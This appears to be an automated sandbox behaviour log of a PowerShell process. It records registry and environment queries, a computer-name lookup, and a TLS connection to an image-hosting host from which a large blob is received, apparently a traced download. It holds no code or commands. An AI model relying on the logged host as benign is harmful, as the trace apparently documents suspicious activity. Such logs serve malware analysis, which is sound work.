Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Get Key Info - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Open Key reg_name = Application True 1
Fn
Registry Open Key reg_name = Application\PowerShell False 1
Fn
Registry Open Key reg_name = HardwareEvents True 1
Fn
Registry Open Key reg_name = HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = Internet Explorer True 1
Fn
Registry Open Key reg_name = Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = Key Management Service True 1
Fn
Registry Open Key reg_name = Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = Media Center True 1
Fn
Registry Open Key reg_name = Media Center\PowerShell False 1
Fn
Registry Get Key Info - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Open Key reg_name = Application True 1
Fn
Registry Open Key reg_name = Application\PowerShell False 1
Fn
Registry Open Key reg_name = HardwareEvents True 1
Fn
Registry Open Key reg_name = HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = Internet Explorer True 1
Fn
Registry Open Key reg_name = Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = Key Management Service True 1
Fn
Registry Open Key reg_name = Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = Media Center True 1
Fn
Registry Open Key reg_name = Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = OAlerts True 1
Fn
Registry Open Key reg_name = OAlerts\PowerShell False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = HOMEDRIVE, result_out = C: True 1
Fn
Environment Get Environment String name = HOMEPATH, result_out = \Users\aETAdzjz True 1
Fn
File Get Info filename = C:\Users\aETAdzjz, type = file_attributes True 1
Fn
File Get Info filename = C:\, type = file_attributes True 4
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Environment Get Environment String name = MshEnableTrace False 6
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Environment Get Environment String name = HomeDrive, result_out = C: True 1
Fn
Environment Get Environment String name = HomePath, result_out = \Users\aETAdzjz True 1
Fn
Registry Read Value value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 11
Fn
Registry Read Value reg_name = OAlerts, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = OAlerts, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = OAlerts, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = OAlerts, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 6
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Thread 0xb60
53 5
»
Category Operation Information Success Count Logfile
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Socket Close type = SOCK_STREAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Module Unmap process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Module Unmap process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe True 1
Fn
Thread 0xbf4
104 281
»
Category Operation Information Success Count Logfile
Environment Get Environment String name = MshEnableTrace False 22
Fn
Environment Get Environment String name = cOMspec, result_out = C:\Windows\system32\cmd.exe True 2
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
Module Get Filename process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 260 True 1
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config, type = file_attributes True 2
Fn
File Create filename = C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config, type = file_type True 2
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config, type = size, size_out = 0 True 1
Fn
File Read filename = C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config, size = 4096, size_out = 4096 True 5
Fn
Data
Module Get Filename process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 260 True 1
Fn
Registry Read Value value_name = InstallationType, data = 0, type = REG_SZ True 1
Fn
Registry Read Value value_name = InstallationType, data = Client, type = REG_SZ True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
System Get Computer Name result_out = YKYD69Q True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = Library, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = Library, data = netfxperf.dll, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = IsMultiInstance, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = IsMultiInstance, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = First Counter, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = First Counter, data = 4986, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = CategoryOptions, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = CategoryOptions, data = 3, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = FileMappingSize, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = FileMappingSize, data = 131072, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = Counter Names, type = REG_BINARY True 2
Fn
Data
Module Create Mapping filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 131072 True 1
Fn
Mutex Release - True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER True 1
Fn
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM True 1
Fn
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET6, type = SOCK_STREAM True 1
Fn
DNS Resolve Name host = images2.imgbox.com, address_out = 66.254.122.102, 66.254.122.104, 66.254.122.100 True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Socket Connect remote_address = 66.254.122.102, remote_port = 443 True 1
Fn
Socket Close type = SOCK_STREAM True 1
Fn
Socket Send flags = NO_FLAG_SET, size = 122, size_out = 122 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 93, size_out = 93 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 4588, size_out = 2801 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1787, size_out = 1192 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 595, size_out = 595 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 331, size_out = 331 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 4, size_out = 4 True 1
Fn
Data
Socket Send flags = NO_FLAG_SET, size = 134, size_out = 134 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1, size_out = 1 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 48, size_out = 48 True 1
Fn
Data
System Open Certificate Store encoding_type = 65537, flags = 8708 True 1
Fn
Socket Send flags = NO_FLAG_SET, size = 117, size_out = 117 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 160, size_out = 160 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 160, size_out = 160 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 480, size_out = 480 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 160, size_out = 160 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 810 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 630, size_out = 630 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1440, size_out = 1440 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 160, size_out = 160 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
